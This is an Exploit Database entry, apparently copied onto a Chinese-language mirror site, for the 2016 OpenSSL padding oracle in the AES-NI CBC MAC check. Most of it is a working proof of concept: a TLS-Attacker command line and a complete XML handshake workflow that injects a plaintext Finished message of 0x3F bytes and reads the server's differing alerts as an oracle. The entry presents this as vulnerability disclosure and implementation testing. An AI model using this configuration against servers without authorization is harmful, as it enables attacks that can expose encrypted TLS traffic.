OpenSSL – Padding Oracle in AES-NI CBC MAC Check

• Exploit Database
• 114 阅读

• 作者： Juraj Somorovsky
  日期： 2016-05-04
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/39768/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77

  Source: http://web-in-security.blogspot.ca/2016/05/curious-padding-oracle-in-openssl-cve.html   TLS-Attacker: https://github.com/RUB-NDS/TLS-Attacker https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39768.zip     You can use TLS-Attacker to build a proof of concept and test your implementation. You just start TLS-Attacker as follows: java -jar TLS-Attacker-1.0.jar client -workflow_input rsa-overflow.xml -connect $host:$port   The xml configuration file (rsa-overflow.xml) looks then as follows:   <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <workflowTrace> <protocolMessages> <ClientHello> <messageIssuer>CLIENT</messageIssuer> <includeInDigest>true</includeInDigest> <extensions> <EllipticCurves> <supportedCurvesConfig>SECP192R1</supportedCurvesConfig> <supportedCurvesConfig>SECP256R1</supportedCurvesConfig> <supportedCurvesConfig>SECP384R1</supportedCurvesConfig> <supportedCurvesConfig>SECP521R1</supportedCurvesConfig> </EllipticCurves> </extensions> <supportedCompressionMethods> <CompressionMethod>NULL</CompressionMethod> </supportedCompressionMethods> <supportedCipherSuites> <CipherSuite>TLS_RSA_WITH_AES_128_CBC_SHA</CipherSuite> <CipherSuite>TLS_RSA_WITH_AES_256_CBC_SHA</CipherSuite> <CipherSuite>TLS_RSA_WITH_AES_128_CBC_SHA256</CipherSuite> <CipherSuite>TLS_RSA_WITH_AES_256_CBC_SHA256</CipherSuite> </supportedCipherSuites> </ClientHello> <ServerHello> <messageIssuer>SERVER</messageIssuer> </ServerHello> <Certificate> <messageIssuer>SERVER</messageIssuer> </Certificate> <ServerHelloDone> <messageIssuer>SERVER</messageIssuer> </ServerHelloDone> <RSAClientKeyExchange> <messageIssuer>CLIENT</messageIssuer> </RSAClientKeyExchange> <ChangeCipherSpec> <messageIssuer>CLIENT</messageIssuer> </ChangeCipherSpec> <Finished> <messageIssuer>CLIENT</messageIssuer> <records> <Record> <plainRecordBytes> <byteArrayExplicitValueModification> <explicitValue> 3F 3F 3F 3F 3F 3F 3F 3F3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F3F 3F 3F 3F 3F 3F 3F 3F </explicitValue> </byteArrayExplicitValueModification> </plainRecordBytes> </Record> </records> </Finished> <ChangeCipherSpec> <messageIssuer>SERVER</messageIssuer> </ChangeCipherSpec> <Finished> <messageIssuer>SERVER</messageIssuer> </Finished> </protocolMessages> </workflowTrace>   It looks to be complicated, but it is just a configuration for a TLS handshake used in TLS-Attacker, with an explicit value for a plain Finished message (32 0x3F bytes). If you change the value in the Finished message, you will see a different alert message returned by the server.